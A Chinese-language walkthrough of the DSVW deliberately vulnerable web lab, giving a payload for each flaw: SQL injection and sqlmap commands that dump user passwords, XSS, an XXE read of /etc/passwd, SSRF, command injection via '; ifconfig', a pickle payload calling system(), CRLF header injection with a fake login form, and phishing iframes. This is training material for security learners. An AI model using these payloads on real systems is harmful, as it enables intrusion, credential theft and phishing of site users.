DSVW通关教程
字数 1179 2025-08-24 16:48:16
DSVW漏洞通关教程
1. SQL注入漏洞
1.1 基于布尔型的盲注 (Blind SQL Injection - boolean)
原理:响应体不会明确返回SQL错误信息,条件为真时返回正常页面,为假时返回错误页面。
检测方法:
?id=2' # 测试单引号包裹
?id=2 and 1=1 # 有回显
?id=2 and 1=2 # 无回显,确认存在SQL注入
利用方法:
?id=2 order by 4 # 判断字段数
?id=2 union select 1,name,3,4 from sqlite_master # 查询表名
?id=2 union select 1,sql,3,4 from sqlite_master # 查询字段名
?id=2 union select 1,password,3,4 from users # 查询密码
?id=2 union select 1,sqlite_version(),3,4 from sqlite_master # 查询版本
SQLMap自动化利用:
python sqlmap.py -u http://x.x.x.x/?id=2 --batch # 检测
python sqlmap.py -u http://x.x.x.x/?id=2 --batch --tables # 查表名
python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users --columns # 查字段
python sqlmap.py -u http://x.x.x.x/?id=2 --batch -T users -C password --dump # 查密码
1.2 基于时间型的盲注 (Blind SQL Injection - time)
原理:通过服务器响应时间判断查询结果真假。
利用方法:
?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
1.3 基于联合查询注入 (UNION SQL Injection)
利用方法:
?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||','||password FROM users WHERE username='dricci')
1.4 登录绕过 (Login Bypass)
利用方法:
login?username=admin&password='or '1' like '1
1.5 HTTP参数污染 (HTTP Parameter Pollution)
利用方法:
login?username=admin&password='/**/or/**/'1'/**/like/**/'1
2. 跨站脚本攻击(XSS)
2.1 反射型XSS (Reflected XSS)
利用方法:
?v=0.2<script>alert("xss")</script>
2.2 存储型XSS (Stored XSS)
利用方法:
?comment=<script>alert("xss")</script>
2.3 DOM型XSS (DOM XSS)
利用方法:
?#lang=en<script>alert("xss")</script>
3. XML外部实体注入(XXE)
3.1 本地文件读取 (Local XXE)
利用方法:
?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
3.2 远程文件读取 (Remote XXE)
利用方法:
同上,但可以结合外部实体实现远程数据泄露
4. 服务器端请求伪造(SSRF)
利用方法:
?path=http://x.x.x.x:81/
5. XPath注入
利用方法:
?name=admin' and substring(password/text(),1,10)='7en8aiDoh!
6. 跨站请求伪造(CSRF)
利用方法:
?comment=I lIke studying</div>">
7. Frame注入
7.1 钓鱼攻击 (Phishing)
利用方法:
<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
7.2 内容欺骗 (Content Spoofing)
利用方法:
<iframe src="https://www.baidu.com" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>
8. 未验证的重定向(Unvalidated Redirect)
利用方法:
?redir=https://www.baidu.com
9. 任意代码执行(Arbitrary Code Execution)
利用方法:
?domain=www.google.com; ifconfig
10. 信息泄露漏洞
10.1 完整路径泄露(Full Path Disclosure)
利用方法:
?path= http://x.x.x.x:81/
10.2 源码泄露(Source Code Disclosure)
利用方法:
?path=dsvw.py
10.3 路径穿越(Path Traversal)
利用方法:
?path=etc/passwd
10.4 远程文件包含(Remote File Inclusion)
利用方法:
?include=dsvw.py
11. HTTP头注入(HTTP Header Injection)
利用方法:
?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://www.baidu.com" onSubmit="alert('hello')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>
12. 已知漏洞组件(Component with Known Vulnerability)
利用方法:
?object=cos%0Asystem%0A(S'ping -c 5 127.0.0.1'%0AtR.%0A
13. 拒绝服务攻击(Denial of Service)
利用方法:
?size=99999
总结
本教程详细介绍了DSVW靶场中各种Web安全漏洞的检测和利用方法,包括但不限于SQL注入、XSS、XXE、SSRF、CSRF等常见漏洞类型。每种漏洞都提供了具体的利用Payload和检测方法,适合安全研究人员学习和测试使用。